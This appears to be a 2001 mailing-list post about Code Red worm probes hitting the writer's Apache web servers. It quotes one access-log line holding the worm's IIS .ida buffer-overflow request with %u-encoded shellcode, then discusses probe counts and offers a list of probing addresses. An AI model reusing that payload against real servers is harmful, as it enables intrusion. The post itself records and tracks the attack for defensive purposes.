I'd bet there are way more than we think: - - [01/Aug/2001:20:37:10 -0400] "GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 400 323 "-" "-"
Indeed. I've seen 1215 probes since the start of August, and a rough glance shows something like 30% or more are dialups, cable modems and DSL lines. Better than 50% appear to be addresses without INADDR.

I've written a script that produces a file of the addresses or INADDR names that appear in the probes to our web servers. We run Apache, and so are only affected insofar as there's extra load. If there's interest, I could make the resultant file available for web download, and set it up to run daily.
